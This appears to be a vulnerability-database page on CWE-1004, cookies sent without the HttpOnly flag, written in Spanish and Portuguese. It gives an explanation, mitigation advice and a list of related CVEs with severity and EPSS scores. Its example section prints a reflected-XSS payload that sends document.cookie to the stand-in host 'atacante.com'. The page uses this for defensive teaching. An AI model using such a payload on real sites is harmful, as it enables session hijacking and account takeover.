Fallos del tipo CWE-1004

45 resultados

Cookie sensível sem flag HttpOnly

Quando um cookie (especialmente de autenticação ou sessão) é enviado sem a flag HttpOnly, código JavaScript rodando no navegador consegue acessá-lo via document.cookie. Um atacante que injeta script malicioso (XSS) rouba facilmente o token de sessão e impersona o usuário.

Ejemplo

Um site de banco define Set-Cookie: sessionId=abc123 sem HttpOnly. Um XSS refletido injeta <script>fetch('https://atacante.com?cookie='+document.cookie)</script>, e a sessão é comprometida antes mesmo do usuário perceber.

Cómo mitigar

Sempre defina a flag HttpOnly ao criar cookies de autenticação (Set-Cookie: sessionId=...; HttpOnly; Secure; SameSite=Strict). Isso bloqueia acesso via JavaScript e reduz drasticamente o risco de roubo por XSS. Também implemente validação de entrada e CSP para mitigar XSS em primeiro lugar.

CVE-2023-4228LOWioLogik 4000 Series: Session Cookies Attribute Not Set ProperlyEPSS 0.3%CVE-2025-24318MEDIUMDario Health USB-C Blood Glucose Monitoring System Starter Kit Android Application Sensitive Cookie Without 'HttpOnly' FlagEPSS 0.3%CVE-2026-53660HIGHOpenAM Insecure SSO Cookie InitializationEPSS 0.3%CVE-2023-4217LOWSession cookies attribute not set properlyEPSS 0.3%CVE-2025-49189MEDIUMCookie missing HttpOnly flagEPSS 0.3%CVE-2026-82697MEDIUMsambitraj Student-Management-System session_start cookie httponly flagEPSS 0.3%CVE-2023-2876LOWSession cookie exposure for client side scriptEPSS 0.3%CVE-2026-25734MEDIUMRucio WebUI has Stored Cross-site Scripting (XSS) in RSE MetadataEPSS 0.3%CVE-2026-25736MEDIUMRucio WebUI has a Stored Cross-site Scripting (XSS) Vulnerability in its Custom RSE AttributeEPSS 0.3%CVE-2026-25735MEDIUMRucio WebUI has a Stored Cross-site Scripting (XSS) vulnerability its Identity NameEPSS 0.3%CVE-2026-42239HIGHBudibase auth session cookies are set with httpOnly:false — any XSS can lead to full account takeoverEPSS 0.3%CVE-2025-53757HIGHInsecure Cookie Flags Vulnerability in Digisol DG-GR6821AC RouterEPSS 0.3%CVE-2025-57424HIGHA stored cross-site scripting (XSS) vulnerability exists in the MyCourts v3 application within the LTA number profile field. An attacker canEPSS 0.3%CVE-2026-25136HIGHRucio WebUI has a Reflected Cross-site Scripting VulnerabilityEPSS 0.3%CVE-2026-25733HIGHRucio WebUI Vulnerable to Stored Cross-site Scripting (XSS) through Custom Rule FunctionEPSS 0.3%CVE-2024-47833MEDIUMSession Cookie without Secure and HTTPOnly flags in taipyEPSS 0.3%CVE-2025-47289MEDIUMStored XSS in CE Phoenix Cart Testimonials Allows Account Takeover if Missing HttpOnly FlagEPSS 0.2%CVE-2026-35575HIGHChurchCRM has Stored XSS in Group NameEPSS 0.2%CVE-2025-42909LOWSecurity Misconfiguration vulnerability in SAP Cloud Appliance Library AppliancesEPSS 0.2%CVE-2021-34563LOWIn WirelessHART-Gateway versions 3.0.8 and 3.0.9 the HttpOnly flag is missing in a cookie which allows client-side javascript to modify itEPSS 0.2%